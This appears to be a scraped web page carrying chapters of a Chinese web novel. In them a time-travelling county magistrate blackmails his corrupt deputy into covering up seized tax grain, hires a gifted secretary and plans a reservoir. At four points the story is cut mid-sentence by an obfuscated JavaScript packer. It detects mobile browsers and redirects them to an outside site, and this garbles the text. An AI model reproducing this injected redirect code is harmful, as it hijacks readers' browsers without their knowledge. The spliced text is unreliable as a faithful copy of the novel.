裴杼眼珠子滴溜溜地转着,他忽然有一个绝妙的主意!只是现在还不能说,说了郑应成肯定一点就炸。 那边王绰听了郑应成的话,却是不屑地轻扯嘴角。 这一下,刚好落入郑应成眼里,他立马就有了发作的借口:“还有这个人,早晚也该撵出去,衙门里头不养闲人,尤其还是个来路不明之人。” 众人目光落在了王绰身上。 王绰还是那副弱不禁风的模样,只是比之前多了一丝精神气,像是活过来一半儿了:“昨日在病中,尚未跟诸位大人解释缘由,草民姓王名绰字文谦,并非永宁县人士。草民本出生在巴州,只是祖籍在此,祖父母从前是从永宁县逃难去的南方。” 裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050688|162795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杼心下思量,巴州距离永宁县可不近,不过王绰说话还能听出一点永宁县口音,应当不假。 王绰回忆自己可笑的上半生,言简意赅地同众人解释起来:“草民本是巴州富商家的教书先生,老爷家财万贯,子嗣颇多。然我那学生却是个庶子,极不受宠,成年之后被老爷打发到了偏远之地,经营着几个不值钱的铺面。那学生颇有雄心壮志,不愿意一辈子碌碌无为,在我等的助力一下,暗中设计杀回了主宅,夺回大权,如今已经成了新一任家主。” 张如胜听得津津有味:“那你怎么还会落魄成这样?” “蠢货,狡兔死走狗烹的道理,还用多说?”郑应成讥笑道。 王绰垂首,是啊,可惜这个道理并不是每个人都能明白,否则他们这群人也不会灭口的灭口,流放的流放。就连他,也是流放途中被熟人给放了,可惜他已经没有了求生的意志,本想找个地方了却残生,没成想峰回路转,遇上了裴杼。 这个少年,同他那位学生完全不一样,单纯,天真,仁义,还有股向上生长的蓬勃生机。王绰本来不想活的,可他现在却十分好奇,永宁县将在这个少年手中走向何方…… 他想留下来。 王绰附身行礼:“草民遭奸人陷害,被家主所弃,身无长物。但幸有一身识文断字的本事,如若大人不弃,草民愿为大人效犬马之劳。” 裴杼立马追问:“你会写文章?” 王绰负手而立:“略知一二。” 张如胜不满:“略知一二你显摆个什么劲?” 郑应成无奈地望着他这个糊涂虫跟班,人家谦虚,谦虚听不懂吗? 真有人听不出好赖,王绰也就不敢谦虚了:“写文章自是不在话下。” 裴杼深吸一口气:“可会写文书?” 王绰本想说信手拈来,可是思及自己如今的身份,只好改口:“文书也学过,正常的行文往来不成问题。” 圣旨都是他拟的,寻常文书能不会吗? 人才啊,裴杼激动得不行,这人一定要留下,毕竟他一工科生,压根就不会写文书,县衙里头的官员不好认命,但是,师爷之类的裴杼还是有权力定下。 此事无需郑应成同意,裴杼自己就行拍板。郑应成张如胜信不得,魏平一个人也分身乏术,王绰一来,正好解了他的燃眉之急。 郑应成看他这喜出望外的神色便知道裴杼在打算什么,立马打断:“如今衙门里头的钱是一点富余也没有了,多他一个人便得多出一笔俸禄。丑话可得说在前头,衙门出不起这笔钱。” “这就不用郑大人操心了。”裴杼好脾气地笑了笑,他已经想好了办法。 也就只有他这样的天才,才能想出如此绝妙的点子。 他都有点迫不及待了。 郑应成探了探身子,愣是没听到裴杼继续往下说,只能黑着脸离开。 他人一走,裴杼便立马将魏平叫到身边,让他查郑应成贪腐的证据。以魏平对郑应成的憎恶,裴杼相信他手上一定有对方的把柄。 魏平听完跃跃欲试:“大人是想惩治郑应成?” “不。”裴杼神神秘秘道,“是想拉拢他呢,你明儿就知道了。” 7. 平账 若要说郑应成的功劳,魏平是想不出一点儿;可要说贪污受贿,魏平能找出一堆。就是上一任县令的罪证,魏平也能翻出来不少。 为了不给大人拖后腿,魏平一晚上没睡,第二日一早便顶着黑眼圈上了县衙,将整理出来的证据呈给大人过目。 裴杼从头翻到尾,满意极了。郑应成的罪证挺多的啊,多就好,不怕他不入局。 裴杼领着手里的证据,哼着小调找到了郑应成。 郑应成见他过来就想找借口遁走,只是没有掉,裴杼上来之后便自来熟地按住了他,还让王绰跟魏平将门给关上。 无事献殷勤,非奸即盗,郑应成敏捷地起身,准备去找张如胜。 一对三,他没安全感。 “莫慌,今日有一桩好事要跟郑大人商量。”裴杼一把将他重新按住,凑近了将证据交到郑应成手中。 一张俊美无俦的脸逐渐在眼前放大,可郑应成看着却只觉得厌恶。他不愿意多瞧裴杼,只低头瞥了下丢过来的几张纸。 一目十行地看完第一页,郑应成便意识到这里头是什么。他立马郑重许多,草草翻过之后,气得嘴都歪了,面色狰狞:“这就是大人说的好事?” 他阴恻恻地盯着魏平,用脚指头想也该知道,这必然是魏平那死人准备的。裴杼初来乍到,对永宁县根本就是一知半解,若是没有魏平帮忙,这些东西他无论如何都拿不到。早知今日,他就该及时解决了这个杀千刀的叛徒崽子! 裴杼见他起了怒,自己倒是不紧不慢地坐了下来,还招呼另二人坐好。手中有筹码,谈判自然也就水到渠成了,裴杼慢慢悠悠地分析:“大人也知道,如今县衙面临两大难题,其一便是城外百姓的屋顶需要修缮,这得是一笔不小的开销;其二,则是冬小麦的种子从何而来。” “自然是借了,否则还能从天上掉下来?”郑应成觉得裴杼真是杞人忧天,这些事情本来就不用他们县衙操心,百姓自然会去幽州的富人地主手中借。至于借不借得来、利息有多少,跟他们有什么关系呢?这么多年不都是这么过来的吗,也没饿死他们。 裴杼微微摇头:“不是有麦种吗,何需要找外人借?” 这话郑应成就不理解了,哪儿来的种子,他怎么不知道? 裴杼嫌他脑子转不过来弯:“北城粮仓里收着的粮食不就是种子吗?” 郑应成豁然起身,因为太过震惊,脸色显得有几分滑稽:“那可是税粮!” “今年年成还行,这是百姓留下来的种子。不对,这是郑大人体恤百姓,无偿献出来的良种。”裴杼瞬间改了主意,决定将郑应成彻彻底底地绑在这条大船上。若说百姓自己留下来的粮种,还要跟百姓那边通气,牵扯得人员太广,日后不好隐瞒风声。但若说是郑应成捐赠,那就将锅彻底甩给郑应成了,反正郑大人会扫尾。 “那税粮怎么办?!”郑应成都有些气急败坏了。 裴杼理直气壮地道:“自然是被胡人给抢走喽。” 郑应成踉跄了一下,几乎站不稳。 疯了,裴杼真疯了,他知不知道自己在做什么,即便是幽州的太守也没胆子动朝廷的税粮,这事儿若是查起来,可是掉脑袋的大罪啊。 那厢王绰却挑了挑眉头,心中难掩惊喜。这倒是个好点子,够胆大,但却真能解决眼下困境,一般循规蹈矩的还真没法儿往这个方面想。 裴杼原身是被朝廷流放,他自己来自后世,对封建朝廷自然没什么好感,更没有所谓的敬畏之心,这税粮交上去之后还不知道便宜谁呢,不如留下来,还能解燃眉之急。 郑应成被裴杼大逆不道的惊天之语给震住了,好半天没缓过来,他忽然想到裴杼方才说的另外一个难题,衙门要给百姓修缮房屋,缺了一笔钱,难道…… 裴杼会心一笑:“没错,还给幽州的钱也被胡人给抢走了。” 反正永宁县攒了,也准备还了,但是正要还的时候被胡人给截胡了,这可怪不得他们。似永宁县这等穷地方能够攒一次,却不能再攒第二次,这笔糊涂账到此为止,反正他是不可能再还钱了。 裴杼说完,还悠悠然地给自己斟了一杯茶。 瞧他聪明的,所有问题都迎刃而解了,果然办法总比困难多。 郑应成已成功吓傻,心脏还在扑通扑通跳着,像是随时都能蹦出来。他就是贪点小钱而已,可不像裴杼这般胆大妄为。裴杼不仅薅幽州的钱,还薅朝廷的粮食,薅完了之后还要把账算在胡人头上,没见过比他更不要命的。 意识到裴杼要拉他下水,郑应成绝不可能答应:“我不会配合你做这种事。” 裴杼“嘁”了一声:“大人只怕没得选。” 郑应成猛然意识到,他的把柄还在裴杼手上。 裴杼不喜欢说谎,但是为了吓唬郑应成,他只能选择胡说八道:“隐瞒税粮与钱款,于旁人而言兴许极难,但是在郑大人看来不是小事儿一桩么。即便这事儿本身有罪,但若是无人知晓,便没人会追究,可若郑大人不配合——” 裴杼微笑:“想必郑大人也着人去打听过我的来路吧,只是一时半会儿也没打听明白,不妨让本官亲自告诉你。京城裴家,听说过么?” 郑应成低眉思索,自然是听说过的,从前风光无限,不过最近被新帝整治得很惨。 “我裴家可是一等一的世家大族,家中伯父曾经官至宰相,位高权重。虽然如今落难了,但是百足之虫,死而不僵。况且我在族中颇为受宠,调来永宁县不过是权宜之计,只等避了风头便能回京继续为官。郑大人,我手中的这些罪证若是交去京城,不仅你要没命,便是幽州的那几个官员也难辞其咎!” 王绰忍俊不禁,裴家真正得宠的几个子侄,他岂会不认识?且裴家嫡系子孙多半已经死绝了,无一遗漏。 不过这套说辞忽悠郑应成,足够了。 裴杼甩出大棒过后,还不忘给个甜枣:“自然,郑大人若是愿意配合,你的账也能让东胡人一并平了,自此之后,你郑兴成身上便再无贪腐罪证。反正债多不愁,再有多少账胡人也平得掉。良种一事且有你担着,此事算你大功一件,我必上书为你表功。至多三年,我定将你调出永宁县,助你高升。” 郑兴成目光闪烁,陷入了挣扎中。他压根不想跟裴杼合作,但要是抵死不从,他怕是真得死了。 京中倒台的家族何其多?然世家大族姻亲繁杂,纵然一时落魄,总也有东山再起之日。裴杼或许真的是来避难的,他在京城也或许真的有后台。 郑应成其实已经动摇了,但他还想再挣扎一二:“万一消息传入东胡,胡人不认呢?” 裴杼:“哪有小偷会承认自己偷盗东西?他们不认不是正常吗?” 左右脏水已泼,他们认不认已经不重要了。 郑应成:“……” 很好,他竟无言反驳。 这犹豫不决的做派叫魏平看得不顺心,若要他说,县令大人根本无需跟此人多费口舌,直接将他砍了了事,何必还给他立功的机会?良久,魏平端不住了,直接质问:“郑大人想好了没有,县令大人日理万机,可没工夫在这儿跟您闲耗。” 郑兴成狠狠剜了他一眼,一怒之下,还是答应了。 把柄在人手里捏着,他眼下算是虎落平阳,龙游浅水,但终有一日他必要一雪前耻! 郑兴成在自我欺骗中,得到了些许安慰。 而王绰则准备好纸笔,将胡人抢夺粮草、钱物一事俱向幽州太守表明。概因他如今的身份不过是一介教书先生,王绰只用了三成的功力,平铺直叙,一应润色也无,不过是照本宣科之物。 可裴杼等人看过之后,却是惊为天人。 真捡到宝了!

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050689|162795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 郑兴成望着文书,又看着王绰的脸,迟疑道:“你真是商贾家的教书先生?” 这公文怎么写得比他还要好?可别小看了这公文写作,同样禀明一件坏事,写得差的便得获罪,写得好的,没准还能让上峰看得老怀大慰。 王绰面色一僵,原来偏远地区的公文已经差成这样了吗?他只能讪笑着道:“为帮家主躲位时,曾对着官府的公文钻研过一段时日。” 裴杼已佩服得五体投地,反正叫他写他肯定是写不出来的,太费头脑了,这个师爷给的真值。 盖过县令与县丞的印章过后,这事儿郑应成便彻底跑不掉了。 虽明知不得不为,但郑应成还是膈应得慌,尤其是看到裴杼乐滋滋地跟在他身后,看他如何布置扫尾,期间还对着他的安排指点江山,郑应成听得拳头都硬了。 他辛辛苦苦收服的差役、一点一滴经营起来的势力,如今竟然要为裴杼所用,真是老天无眼!也就仅有这么一次,下次,他绝不会跟裴杼有任何牵扯! 郑兴成骂骂咧咧地做好了裴杼吩咐的所有事。 裴杼恍然之间发现,郑兴成还是有些用处的,虽然他贪婪、狠厉、不安好心,但是执行力一流,有些事他去做未必有郑兴成做得快。 永宁县衙很快传出消息,言明胡人虽然战败,但事先却摸到了北城的粮仓处,打晕了守仓的差役,抢走了全部的税粮,还掳走了他们原要还给幽州的钱物。 先前衙门忙于守城,未曾注意到此事,如今发现却已是无力回天了。 此事一出,城郊哗然一片。 没想到胡人这般奸诈狡猾,竟抢走了这么多的东西!那么多的税粮,白白便宜了胡人,多的是为此捶胸顿足的百姓。 众人对胡人的咒骂声也与日俱增,从前提起胡人是惧怕,如今提起他们则是磨刀霍霍,恨不得将胡人拉过来就地正法。 这群强盗,实在是可恶,可恶至极!屋漏偏逢连夜雨哟,他们县令大人眼下还不知道该怎么伤心呢。 还不等他们崩溃多久,又有消息传出,县丞郑大人心系百姓,深知百姓缺少麦种,愿意捐出一批粮种,以供百姓播种。 农户们又震惊了,郑县丞能有这样好心肠? 他们甚至亲自去县衙确认,证明了这事儿是真的,郑大人真就如此慷慨。 天呐,难不成从前那些丧尽天良、盘剥百姓的事,都是陈县令逼着郑县丞做的?否则完全没办法解释。 就连张如胜都觉得郑大人疯了,得知郑兴成真的要自掏腰包给百姓种地,张如胜一把贴到对方的额头:“没发烧啊,怎么做这种糊涂事?” “你以为我愿意?” “那你还做?” “我这是……”郑应成欲言又止,最终还是什么都没说,毕竟这事儿越少人知道越好。他此刻的心境,比蒙冤的胡人还要复杂。 不过说起来他也挺好奇的,来日那些胡人若是有幸得知此事,不知会是何种反应。 一想到有人比他还惨,郑应成就忍不住乐了一下。 张如胜被他笑得心里发毛,默默往后挪了挪。 要死,郑大人不会真傻了吧? 就在郑应成大开仓库,准备将麦种捐出去之际,永宁县的文书已经传去了幽州。幽州官员以为是求他们出兵的,特意缓了半日才取出来看。 朝廷为西北动乱烦心,此刻与东胡不便再开战,不论胡人抢夺永宁县百姓多少东西,且由着他们抢就是了,不过是民间百姓的摩擦,也不是什么大事。即便真出了事儿,也是永宁县自己的事情,跟幽州关系不大。 幽州别驾慢条斯理地打开文书,起初还有闲工夫琢磨永宁县从何处弄来一个文采了得的书吏,可再往下看,他忽然笑不出来了。 挨千刀的东胡人胆敢抢他们的钱跟朝廷的税粮!好大的狗胆! 8. 水库 文书递上去后,幽州官衙上方气氛凝沉,郁气经久不散。胡人小打小闹他们能纵容,可是抢走了税粮跟永宁县还他们的欠款那就太过分了。至于其他被抢走的东西那都是永宁县的私产,同他们无关。 事情闹到这个地步,总是不好跟朝廷那边交差的。还有他们的钱,看永宁县的意思他们是不想管这笔钱了,否则也不会通篇哭穷。借钱哪能不还的?可永宁县这个穷乡僻壤,他们也没办法催,人家是真的没钱。 幽州太守沉吟许久,终于下令让人过些日子去核查。若是情况属实,他就得好好想想该怎么写奏书秉命税粮一事,这奏书还不能随便应付,需不伤及两国情面,又能将幽州彻彻底底地摘出去。但无论如何狡辩,估计最后都是得挨一顿批。 永宁县真给他甩了一个大难题。 鉴于永宁县办事不力,幽州不少官员都对裴杼这位新上任的县令连带着十分不喜。若不是他无能,事态也不会演变成这样。 任凭外面风起云涌,永宁县却是岁月静好。 尽管胡人给百姓带来了困扰,但是县衙很快就派了差役帮衬他们修缮屋顶,郑县丞还捐赠了不少麦子给他们播种。这郑县丞平日里看上去也不是那等富贵之人,可关键时候竟然能慷慨解囊,一时间赚回了不少口碑。 粮食送出去之后,郑应成还收到了不少百姓自发送过来的谢礼,都是些干菜,家境好些的会送几枚鸡蛋,趁着赶集特意送去县衙让人转交,兜兜转转也送到了郑应成手里。 除了他,裴杼也收到了许多。 这种心意最是珍贵,裴杼感动不已,见郑应成不说话便觉得他也应当如此,上前揽住他的肩膀:“郑大人是不是也觉得感动?只要你心系百姓,百姓自然也将你放在心间,尊重爱护都是相对的。眼下冬小麦正在育种,郑大人若想去看看,可以同我们一道出城,最近城外百姓们应当都想见见你。” 郑应成嘴角抽搐,裴杼该不会以为他爱吃这一套吧?呸,他稀罕这些?他稀罕的是金银财宝、高官厚禄,这点不值钱的东西顶个屁用。郑应成将手上的干菜丢给张如胜,反正都已经被裴杼知根知底了,他也没必要再装模作样:“用不着,我对种地不感兴趣,对这些廉价的干菜同样如此。” 临走之前,郑应成还臭着脸跟差役吩咐:“下次别收了,收了也别往我这儿送,看着心烦。” 裴杼“啧”了一声,这臭脾气可真难感化。裴杼上辈子生活在福利院,碰到的也都是苦命人,竟没一个像郑兴成这样戾气深重。 郑应成不管,裴杼却不能不顾。今秋的小麦比往年种的迟了十来天了,裴杼别担心时节不对、日后收成不好。他要是个富裕地方的县令,何必愁这些呢?但是他穷啊。 小麦买下地之后,裴杼每日都得去城外,除了看小麦情况便是勘察永宁县四周了。魏平给他的堪舆图太过粗糙,裴杼不得不自力更生。 他外出时,王绰也跟着他一起。起先是担心裴杼身娇肉贵的,不适应郊外环境,但很快,王绰就发现自己高看了自己,也低估了裴杼。 从前跟着他那个好学生一起体察民情、招兵买马时,即便走上一天也不觉得辛苦。但如今不知是受了伤还是年纪到了,略走半日便气喘吁吁。抬头看时,原本以为不行的那个仍旧精神奕奕,再爬两座山都不在话下。 王绰苦笑一声,老了,四十有六的年纪,可不就是老了吗?正喘着气,面前多了一道阴影。 裴杼有些懊恼,他光顾着勘察,都忘了还跟着一个病号了,王绰先前受了伤,这段时间也没怎么休息好,早知道就该让他呆在县衙里了。他转过身,不由分说地将王绰给背了起来:“我带你回去吧。” 他们的牛车还停在上颍村,等找到牛车他们就回程。 王绰浑身僵硬:“大人,万万不可,您还是放我下去吧。” “有什么可不可的,你昏迷不醒的时候,不也是我把你背回去的吗?把你叫出来总不能让你再病一场,放心,等到人来了,我就放你下去走。”裴杼可舍不得衙门里的笔杆子倒了,这可是他好不容易捡回来的宝贝疙瘩。 裴杼是个外向的,与人相处废话也多,忍不住对着王绰絮絮叨叨,大谈特谈养身之道。从前他们福利院的院长很精通此道,裴杼看了这么多年,多少也学会了几招。 王绰心中五味杂陈,若是他还是太傅,自然有数不清的年轻人愿意巴结他,可他如今已经是个穷困潦倒、病体缠身的可怜虫而已。他能感受到这个年轻人身上散发的善意,相处这些日子,王绰几乎没有感受到他对人的恶念,即便是对着郑兴成,裴杼从来也是心平气和,偶尔还能插诨打科两句。 心系百姓、心胸豁达,这样的心性,何其难得?只是被束缚在这边陲小县,又能有什么成就呢? 王绰忍不住替他担忧:“大人今后想做什么?” 裴杼关于养身的话匣子一收,转头又念叨起了别的:“我也不瞒你,最近频繁出来确实是为了一桩要紧事。永宁县紧靠潮白河,潮水、白水旱涝不定,两河汇聚之后河道又浅,还无堤坝,时常改道。我看县衙中的记载,这两条河十年九涝,去年夏天附近田块就被淹了一次,若是不管日后还得生乱。所以我才想着看看能否修个堤坝,或者水库之类。” 他这些天转来转去,就是为了寻个合适的地方。 王绰心里已经盘算起来了,口中道:“大人若不嫌弃,属下也可以帮忙。” 裴杼惊讶:“你还通水利呐?” 王绰谦逊道:“略知一二。” 不过是主持修过运河、治理过两回黄河水患罢了。顿了一会儿后,王绰又问:“那大人准备现在就建?” “不急,衙门最近手头紧。” 裴杼刚说完,脑海里阔别已久的系统忽然出现。看到裴杼的任务进度,系统欢快道:“哇,进度可以啊猪猪,这么快就开启了第二项任务了?” 突如其来的声音,把裴杼给吓了一跳,下一刻他就磨了磨牙:“你还知道回来?” 还胆敢叫他的小名! 系统委屈:“这是什么话?我安顿了二号宿主之后就马不停蹄过来找你了。你以为第一个任务为什么那么简单,连个时限都没有,还不是我给你开的后门?” 毕竟是第一任宿主,系统能不上心吗?只是它的业务量多,任务又繁忙,根本没办法照顾得面面俱到。 这一声声控诉倒是让裴杼心虚了一下,他还以为是自己天纵奇才,一下就完成了任务,没想到是系统调整过的啊。不过……任务时限又是什么? 裴杼瞪大眼睛:“时限这事儿怎么说?” 系统:“你没发现吗,下一个任务是有完成时限的,你得在规定时间内完成任务。” 裴杼深吸一口气:“完成不了呢?” “可能会有不定期降落的恶性事件吧,具体是什么我也没摸清楚,你知道的,我也是第一次做系统,才三个月大就离开了主神……” 系统越说越小声。 裴杼微笑,好样的,又是个他不知道的坏消息。 系统瞄了他一眼,继续:“反正每个任务都有时限,我还得去绑定下一个宿主,不能在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050690|162795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里多待了,你自己把握哈。” 说完,系统便“咻”地一下离开了,来无影,去无踪,只把裴杼气得心口有点疼。 裴杼苦哈哈地打开面板,发现第二项水利任务下面确实有一行小字,标注任务时限是三个月。因为小字不起眼,他一开始根本没注意到。 三个月! 他现在人手不足、资金不够,还得在三个月内完成任务……命好苦。 裴杼吸了吸鼻子,发现王绰还在思考,于是难为情地打破了这份宁静:“王师爷,那个……我又想着,衙门虽然手头紧,但是水库堤坝还得早点修。您看看,三个月内能否完成啊?” 这事肯定是有点强人所难了,但是没办法,谁让他摊上这么一个不靠谱的系统呢?裴杼欲哭无泪:“我也知道此事有些突然,若实在不行——” “能的。”王绰思虑了一会儿后包容地笑了笑,打断了裴杼的未尽之语。 裴杼脑袋晕乎乎:“真的假的?” 王绰轻轻应了一声。 裴杼瞬间又心花怒放了,他捞回来的这个师爷真是好生厉害! 王绰并非胡乱应答,当日回去之后他便拿出永宁县的地方志跟各种图册,绘制了一张大概的潮白水系图,初步分析之后,定下了两处可以修建水库的地方。以王绰的眼光,其实两处都可以修水库跟堤坝,但是具体哪一处最合适,还得实地勘察过后再定。 需要考虑的条件太多,选址位置、水库造价、各处人力、工期等等,需得尽快决定才好。 裴杼得知后迫不及待道:“那咱们明天就去考察!” 郑兴成作为衙门二把手,商量这种事情他自然也是在旁边的。接过王绰的水系图后,郑应成心中疑惑更重。一个商贾家的教书先生,有这么全知全能吗?他怎么看怎么都觉得这个王绰不简单。 水库若是建造起来,对永宁县肯定是百利而无一害,但郑应成还是不爽裴杼牵头此事,另有一件:“衙门现在人力财力都不足,先前幽州昧下来的那笔钱要负责衙门内外开销、修缮屋舍,一点富裕也没有了,但雇不起工人。” “无妨。”裴杼自信满满,第一个任务时奖励的那一张矿产图还在他手上。永宁县的金矿银矿不多,裴杼本也舍不得用,可如今却不得不挖了。 钱是死的,人是活的,没了那些金矿银矿大不了日后再赚就是了。 这事儿也得悄悄地进行,绝对不能让外人知晓。只要暂时没有上面的人过来查账,裴杼就能联合郑应成不声不响地把水库给建了。事成之后再给上面秉命,要先斩后奏。 裴杼还在给众人加油鼓劲儿:“钱和人的事情,大家都不必太操心了,船到桥头自然直。” 郑应成发出一声不屑的冷笑:“若是直不了呢?” “他自然是没到头喽。”裴杼极为乐观,以至于说出来的话听着格外没脑子。 郑应成有时候真的挺想弄死他。 翌日一早,裴杼便匆匆忙忙地起身,用过早饭之后就带上王绰等人前往潮水河畔实地考察。 王绰仔仔细细地看过,最终确定了永宁县南部、与安平县接壤的那块水域,此处修建一水渠,可顺利拦洪蓄水。 除郑应成之外的众人商议过后,也无异议。 郑应成没吭声,他就等着看裴杼打哪儿弄来人跟钱修建水库。正打着看热闹的心思呢,忽然得知一则噩耗——幽州要派官员前来核查税粮被抢一案。 初听闻此事,郑应成就坐不住了,万一要是被幽州来的官员查到了蛛丝马迹,那他们可就整个完了! 9. 危机 得知这一要命的消息后,郑兴成气势汹汹地去找裴杼兴师问罪。 贸然昧下税粮跟钱款,此一宗罪。 昧下后还拉他下水,此二宗罪。 引幽州上峰查账,此三宗罪。 宗宗当诛,裴杼罪该万死! 被迫死罪的裴杼听完却依旧稳如泰山。原谅他一个还没毕业的大学生能知道什么官场险恶呢?他甚至都不知道“害怕”两个字咋写,死不了就使劲作。 郑兴成崩溃地指控那么一堆,裴杼全然没放在心上,依旧自信,依旧嚣张:“怕什么,你一个永宁县地头蛇还怕一个外来户?修渠要紧。” 什么幽州视察的大官,能有多大?裴杼不信他们真有多少本事来永宁县翻云覆雨,大不了让郑兴成在前面挡着呗。 郑兴成都被气糊涂了:“人家带着人过来查,这么大的事儿你还这般不放在心上,竟还有心思叫人挖渠!挖个屁!趁早停工了事,免得来日搬起石头砸了自己的脚!” 裴杼想着三个月的时限,犟得跟一头牛似的:“就不。” 谁知道任务失败会有什么惩罚,万一再来一场雪灾什么的,永宁县就彻底垮了,裴杼可赌不起。 郑兴成忽然笑了一声,游走在疯了的边缘,不听他的是吧,行! 如果事态牵连到他,他肯定主动检举,裴杼这厮就等着倒霉吧,到时候把裴杼、把魏平、还有那个不知来路的王绰统统逮走,要么发卖,要么打死! 郑大人在幻想中得到了内心的片刻安宁。 裴杼也觉得耳根子清静了不少。停工是不可能停工的,顶多延期两天,如今都已经快十月份了,再过两个月下了雪,外头天寒地冻的,谁还愿意出门?给钱都不行。 县衙如今做事大张旗鼓,永宁县的百姓也都听说了他们要修一处河渠。 据说这河渠修建好了之后,潮白河每到汛期泛滥成灾的毛病便会大大缓解。这一带的百姓都受够了潮白河水患了,若是能治理,哪怕只是稍稍缓解一些,那也无疑是天大的好消息。 左右最近麦子已经种下去了,便有人去衙门打探消息,问问河渠是不是近期开挖。若是的话,他们也能提供些人手。人不能忘本,他们的屋子是衙门帮忙修的、麦子是郑大人放仓给的,如今县衙要修河渠,也是为了他们,他们出点力气怎么了? 本来不日即将动工,可好死不死的,幽州来人了,于是这件事只能暂时搁置了,衙门说是暂缓两日,可是百姓却很是不忿,谁知道这一缓是不是缓没了呢? “早不来,晚不来,胡人都已经抢了东西跑了他们过来了,真是没事找事儿。” 更有激进者,还对幽州官员十分鄙夷:“这些人该不会是过来打秋风的吧?” 在盲目自信上,永宁县百姓如今也不输裴杼这个县令了。 整个永宁县唯一将幽州来人放在心上的,也只有郑兴成了。张如胜都不在意,他虽然跟着郑兴成做过不少勾当,但他就是个打下手的,真没有什么力争上游的志向,幽州来什么人他才懒得管呢,不过郑大人的话张如胜还是听的。 这两天,他带着人将衙门里里外外都清扫了一遍,把后头的官舍也收拾出来供上面的官员落脚,甚至还准备听郑大人的话,宰杀两匹马做东道。 不过这事儿没能成功,裴杼坚决不同意。 上次胡人攻城,除那些不值钱的东西外,另有一百来两的盘缠跟一千九百多匹战马,其中一千匹受伤,五百多匹流血过多而亡,只有四百多匹马是完好无损的。 死掉的马都腌制好了,平日里也舍不得吃,预备着过年当成年礼;活的马如今都在衙门的官田那边偷偷养着,每一匹都是个宝贝,裴杼暂时还没想好怎么用,自然不想白白便宜了旁人。 郑兴成听闻裴杼拒绝之后,再次杀上门了。 “这次来的可是幽州的别驾!正五品官!你连一匹马都舍不得杀,是想彻底得罪死他们?” 裴杼还在埋头写他的水库计划书,间或跟王绰、魏平讨论一下,听到这话甚至懒得给郑兴成一个眼神:“杀了马,他们难道就能对永宁县有多好?” 当初他可是花了好大的功夫才写好一封求救的文书,憋那么几页字已经尽了他最大的努力,结果幽州愣是没有半点音信。裴杼深知这些人都靠不住,得不得罪他们已经没有任何区别了,反正永宁县从来也不招他们待见。 郑兴成急得上火:“那也不能这样怠慢。” 魏平呛白:“还要如何捧着?黄土垫道、净水泼街?” 他们倒是可以给这待遇,那几个地方官受用得起吗? 郑兴成无语地望着魏平,转头又跟裴杼威胁道:“别怪我没提醒你,万一上头来人被惹怒了,不声不响地查出点什么……” 魏平接了一句:“那再不声不响地毒死他们得了。” 尸位素餐,本来也不算什么好人,留着他们也无用。 裴杼都缩了缩脖子,他们魏大人真是正得发邪。 郑兴成也沉默良久,有时候他也挺羡慕魏平的,忽然之间就能活得这么刻薄。 他也想这样对裴杼,只可惜,裴杼到底是县令,他才只是个县丞。 在裴杼的摆烂之中,郑兴成到底没能给得手。 等到幽州别驾杜良川领着一名录事、十名侍卫一路风尘仆仆地抵达永宁县后,先在县衙门前就被震慑了一下。无他,实在没见过这么穷的县衙,穷到县衙的大门都被腐蚀了几块,墙面也掉了漆,显然是年久失修。 再看永宁县官员,一个俊朗且年轻得不像话的县令,领着三个高矮胖瘦、奇形怪状的属官正冲着他们笑,再往后则是县衙的差役,稀稀拉拉都没多少人,一眼看过去就觉得这县城要完了。 简单寒暄后,杜良川下去洗漱了一番,再之后,便看到了永宁县给他们准备的接风宴,杜良川更加确定了,永宁县已经完了。穷的县衙他们见过不少,穷成这样的,实在少见。 裴杼作为县令,场面话还是要说的:“诸位大人远道而来,按理作为东道主该热情款待,可惜永宁县才遭难不久,各处都短缺。招待不周之处,还望诸位大人海涵。” 说完自己先罚酒一杯,其实白开水配咸肉也不错,若是再来一碗饭就更好了。为了节支,也就杜良川几个桌子上摆着的是清酒,裴杼他们喝的都是白开水。 杜良川兴致缺缺地饮下一盏,后又听裴杼熟练地画起了饼:“等来日永宁县富裕起来,下官再请杜大人来此重游,共饮美酒、共享佳肴,以弥补 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050691|162795||http|test|mini|href|location''.split(''|''),0,{})); () { 